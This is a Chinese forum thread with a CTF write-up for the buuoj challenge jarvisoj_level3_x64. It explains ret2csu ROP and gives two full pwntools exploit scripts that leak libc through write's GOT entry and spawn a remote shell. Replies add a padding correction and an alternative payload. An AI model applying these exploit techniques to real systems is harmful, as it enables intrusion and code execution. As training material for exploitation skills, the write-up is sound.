bnuzgn 发表于 2023-7-29 21:08

[ret2csu]jarvisoj_level3_x64

本帖最后由 bnuzgn 于 2023-7-30 23:13 编辑

题目来源:buuoj
参考链接:

[*](主):https://niceseven.github.io/post/2020/04/14/buuctf-pwn-jarvisoj_level3_x64/
[*]https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/

题目信息
64位,环境位ubuntu16,开了NX

vuln函数,可以使用栈溢出

题目中没有system和execve,也没有给出puts函数,所以需要使用write函数输出write_got,ret2libc
write函数需要三个参数,分别传入rdi,rsi,rdx中,gadget中没有rdx_ret因此无法使用。

解题思路

[*]利用ret2csu构造rdi、rsi、rdx的值
[*]计算libc基地址
[*]栈溢出getshell

前面说过64位的系统函数传参前3个参数要用到rdi、rsi、rdx,但是通过ROPgadget查找缺少了rdx。
ret2csu主要是用到如下的两个gadget,通过pop和mov控制rdi、rsi、rdx寄存器,注意0x4006a1-0x4006a4这里有个比较rbx和rbp是否相同然后执行jne跳转的指令段,所以在执行gadget1要构造rbx=0,rbp=1,才不会进入哪个循环的跳转,通过gadget1中的pop r12和0x400699的call r12+rbx*8来控制我们想执行的函数,本题要执行 write来leak所以我们传入r12的值为write_got,这里传入plt好像执行不了具体原因还不清楚,为了满足call r12所以需要rbx=0,这样r12+rbx*8=r12=write_got => call write_got,参数1传入r15,参数2传入r14,参数3传入r13,这样在执行gadget2之后就会使参数1到3分别mov到rdi、rsi、rdx,也就是64位程序的前3个参数传参顺序。

在构造leak的payload时候需要0x38的数据填充,是因为我们先执行的gadget1,再执行gadget2,但是从gadget1跳转到gadget2后又会执行一遍gadget1,此时gadget1中的这些寄存器是不需要的,所以从0x4006a6到0x4006b2之间栈顶移动的7个机器字长,即6*0x8=0x38,,所以需要填充0x38覆盖这里的栈空间,然后覆盖到0x4006b4的ret来使函数返回到vulnerable_function(),从而再执行一遍read来进行栈溢出getshell。

ida中也可以看栈指针来计算空间大小0x38-0x0=0x38
WP
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./level3_x64"

if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",27598)
      elf = ELF(pc)
      libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

csu_end_ret = 0x00000000004006AA
csu_front_call = 0x0000000000400690
write_got_addr = elf.got['write']
write_plt_addr = elf.plt['write']
main_addr = elf.symbols['vulnerable_function']
rdi_ret_addr = 0x00000000004006b3

csu_payload = p64(0) + p64(1) + p64(write_got_addr) + p64(8) +p64(write_got_addr) + p64(1)
payload = b'a'* (0x80+8) + p64(csu_end_ret) + csu_payload + p64(csu_front_call) + b'a'*0x38 + p64(main_addr)
sla('Input:\n',payload)
write_addr = u64(r.recv(6).ljust(8,b'\x00'))
lg('write_addr')

libc_base = write_addr - libc.sym['write']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.sym["system"]

payload = b'a'* (0x80+8) + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sla('Input:\n',payload)
ti()

RavenBlaze 发表于 2024-6-29 01:44

本帖最后由 RavenBlaze 于 2024-6-29 02:41 编辑

from pwn import *
from LibcSearcher import LibcSearcher

p = remote("node5.buuoj.cn", 12345)
elf = ELF("./level3_x64")
context(arch='i386', os='linux', log_level='debug')

vulnerable_function = 0x4005E6
write_got = elf.got['write']
csu_pop = 0x00000000004006AA
csu = 0x0000000000400690
pop_rdi = 0x00000000004006b3

p.recvuntil(b"Input:\n")
# write(fd, buf, n);
payload = 0x88 * b"a" + p64(csu_pop) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(
    csu) + 7 * p64(0) + p64(vulnerable_function)

p.sendline(payload)

write_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher("write", write_addr)
offset = write_addr - libc.dump("write")

bin_sh_addr = offset + libc.dump("str_bin_sh")
system_addr = offset + libc.dump('system')

payload = 0x88 * b"a" + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
p.sendlineafter(b"Input:\n", payload)

p.interactive()

RavenBlaze 发表于 2024-6-29 01:59

楼主数据填充那里应该是:7*0x8=0x38

RavenBlaze 发表于 2024-6-29 02:09

本帖最后由 RavenBlaze 于 2024-6-29 02:40 编辑

还有一种很神奇的payload

payload1 = payload + p64(rdi_add) + p64(0x1) + p64(rsir15_add) + p64(write_got) + 'deadbeef' + p64(write_plt) + p64(vul_add)
页: [1]
查看完整版本: [ret2csu]jarvisoj_level3_x64